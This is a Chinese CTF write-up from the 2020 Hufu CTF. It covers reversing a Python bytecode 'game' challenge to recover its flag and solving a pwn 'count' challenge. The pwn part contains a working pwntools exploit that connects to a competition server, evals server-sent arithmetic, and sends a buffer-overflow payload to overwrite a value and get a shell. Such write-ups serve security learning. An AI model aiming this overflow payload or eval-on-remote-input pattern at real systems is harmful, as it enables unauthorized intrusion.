2020虎符CTF记录
-
- 直接去博客看
- 太顶了,实力还是 8 行
- 有机会还是想补补题
Re - game
- 给了个 Python 反汇编出来的字节码文件,要基于其获取 Python 源码
- 快 400 行,还行,可读性比汇编好多了...
- 刚开始以为有轮子,找了半天没轮子,直接硬逆了
- 比较需要注意的地方有挺多的,首先开始的三个 arr 列表不能抄错了
- 是的我抄错了,后面 debug 了好久
# <genexpr> line 6 of game.py 6 0 LOAD_FAST 0 '.0' 3 FOR_ITER 32 'to 38' 6 STORE_FAST 1 'x' 9 LOAD_GLOBAL 0 'ord' 12 LOAD_FAST 1 'x' 15 CALL_FUNCTION_1 1 None 18 LOAD_GLOBAL 1 'range' 21 LOAD_CONST 32 24 LOAD_CONST 128 27 CALL_FUNCTION_2 2 None 30 COMPARE_OP 6 in 33 YIELD_VALUE 34 POP_TOP 35 JUMP_BACK 3 'to 3' 38 LOAD_CONST None 41 RETURN_VALUE
-
第一个需要注意的地方是 check0,那个 genexpr 是怎么写的不太懂
- 猜测是检查字符串中的每个字符的 ascii 是否都在 range(32, 128) 里
- 因为其中也没有涉及到运算符,故没有深究
-
至于 check2 函数是怎么计算出这六位的,猜测其以
flag{
开头,能直接计算出第六位是5
-
check3 是比较麻烦的了,上来一个 map 函数没反应过来,以为是
map(ord(s))
- 其实注意看的话会发现,此处值 CALL_FUNCTION_2 了一次
- 故明白其实是调用了有两个参数的函数,那应该是
map(ord,s)
了
21 0 LOAD_GLOBAL 0 'map' 3 LOAD_GLOBAL 1 'ord' 6 LOAD_FAST 0 's' 9 CALL_FUNCTION_2 2 None 12 STORE_FAST 1 'arr'
- 还有个需要注意的是第 26 行的切片
- 它是获取 flag 倒数第五位到倒数第二位的字符串反向的形式,这个问题也卡了我好久
- 实际代码应该为
b = arr[-2:33:-1] * 5
,相同的字符串拼接五次
26 99 LOAD_FAST 1 'arr' 102 LOAD_CONST -2 105 LOAD_CONST 33 108 LOAD_CONST -1 111 BUILD_SLICE_3 3 114 BINARY_SUBSCR 115 LOAD_CONST 5 118 BINARY_MULTIPLY 119 STORE_FAST 4 'b'
- check3 里的 c 就是把 b 与 arr[7:27] 下标对应位异或,没什么难点
- 里面有个 lambda 函数
lambda x: x[0]^x[1]
- 里面有个 lambda 函数
27 122 LOAD_GLOBAL 0 'map' 125 LOAD_LAMBDA '<code_object <lambda>>' 128 MAKE_FUNCTION_0 0 None 131 LOAD_GLOBAL 6 'zip' 134 LOAD_FAST 4 'b' 137 LOAD_FAST 1 'arr' 140 LOAD_CONST 7 143 LOAD_CONST 27 146 SLICE+3 147 CALL_FUNCTION_2 2 None 150 CALL_FUNCTION_2 2 None 153 STORE_FAST 5 'c' ...... # <lambda> line 27 of game.py 27 0 LOAD_FAST 0 'x' 3 LOAD_CONST 0 6 BINARY_SUBSCR 7 LOAD_FAST 0 'x' 10 LOAD_CONST 1 13 BINARY_SUBSCR 14 BINARY_XOR 15 RETURN_VALUE
- 故完整代码如下
arr0 = [249, 91, 149, 113, 16, 91, 53, 41] arr1 = [43, 1, 6, 69, 20, 62, 6, 44, 24, 113, 6, 35, 0, 3, 6, 44, 20, 22, 127, 60] arr2 = [90, 100, 87, 109, 86, 108, 105, 90, 104, 88, 102] def check0(s): # 检测所有字符的 ascii 码在不在 range(32, 128) 里 return True # 生成器逆不出来了 def check1(s): if len(s) < 100: if (len(s) * len(s) % 777) ^ 233 == 513: return True return False def check2(s): if (((((ord(s[0]) * 128 + ord(s[1])) * 128 + ord(s[2])) * 128 + ord(s[3])) * 128 + ord(s[4])) * 128 + ord(s[5])) == 3533889469877L: if ord(s[-1]) == 125: return True return False def check3(s): arr = map(ord, s) a = arr[6:30:3] for i in range(len(a)): if (a[i] * 17684 + 372511) % 257 != arr0[i]: return False b = arr[-2:33:-1] * 5 # 倒数第五位到倒数第二位,注意是反过来的 c = map(lambda x:x[0]^x[1], zip(b, arr[7:27])) # b 与 arr 每对应位异或 if c != arr1: return False p = 0 for i in range(28, 34): if (arr[i] + 107) / 16 + 77 != arr2[p] and ((arr[i] + 117) % 16) + 99 != arr2[p + 1]: return False p = p + 2 return True flag = raw_input() if check0(flag) and check1(flag) and check2(flag) and check3(flag): print 'ok' else: print 'no'
-
然后就是计算 flag 了,刚开始没认真看以为是密码题,其实就是简单逆向
-
长度很好处理,计算完得到 39
for i in range(100): if (i * i % 777) ^ 233 == 513: print i
- 然后是第六位字符,也很好处理,是
5
s = 'flag{' res = 3533889469877L print res - ((((ord(s[0]) * 128 + ord(s[1])) * 128 + ord(s[2])) * 128 + ord(s[3])) * 128 + ord(s[4])) * 128 print chr(53)
- 之后要计算八位的特定位字符,这个挺关键的,用于计算后面那个加密的 key
arr0 = [249, 91, 149, 113, 16, 91, 53, 41] flag = 'flag{5aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa}' for j in range(len(arr0)): for i in range(32, 128): if (i * 17684 + 372511) % 257 == arr0[j]: flag = flag[0:6 + j * 3] + chr(i) + flag[6 + j * 3 + 1:] print flag #flag{5Laa5aaxaaiaaVaa5aaPaaKaaaaaaaaaa}
- 根据上面得到的几位特殊位置的字符,可以计算出下标7到26的字符
- 注意 b 是根据上面的字符推算的,而且是反过来的
arr1 = [43, 1, 6, 69, 20, 62, 6, 44, 24, 113, 6, 35, 0, 3, 6, 44, 20, 22, 127, 60] b = [113, 70, 51, 117] * 5 flag2 = '' for i in range(len(arr1)): flag2 += chr(arr1[i] ^ b[i]) print flag2 #ZG50ex5Yi75VqE5YePLI print map(chr, b) #qF3u 实际上是 u3Fq # flag{5LZG50ex5Yi75VqE5YePLIKaaaaaaqF3u}
- 最后差六位的 flag,直接根据 arr3 爆破就好了
arr2 = [90, 100, 87, 109, 86, 108, 86, 105, 90, 104, 88, 102] p = 0 flag3 = '' for j in range(6): for i in range(32, 128): if (i + 107) / 16 + 77 == arr2[p] and ((i + 117) % 16) + 99 == arr2[p + 1]: flag3 += chr(i) p = p + 2 print flag3 # 'l541pN' flag = 'flag{5LZG50ex5Yi75VqE5YePLIKl541pNu3Fq}'
Pwn - count
- 这题相对简单了,溢出点就在计算了 200 次的结果处
- 直接借用 python 的 eval 函数,用 pwntools 获取需要计算的计算式
- 半分钟就做完了,然后计算下偏移量 100,溢出覆盖就好了
from pwn import * io = remote('39.97.210.182', 40285) for i in range(200): io.recvuntil('Math: ') str1 = io.recvuntil(' = ???', drop=True) c = eval(str1) io.sendline(str(c)) payload = 'a' * (0xDC - 0x78) + p64(304305682) io.sendline(payload) io.interactive()
-
鱼大佬真的是TQL
-
tql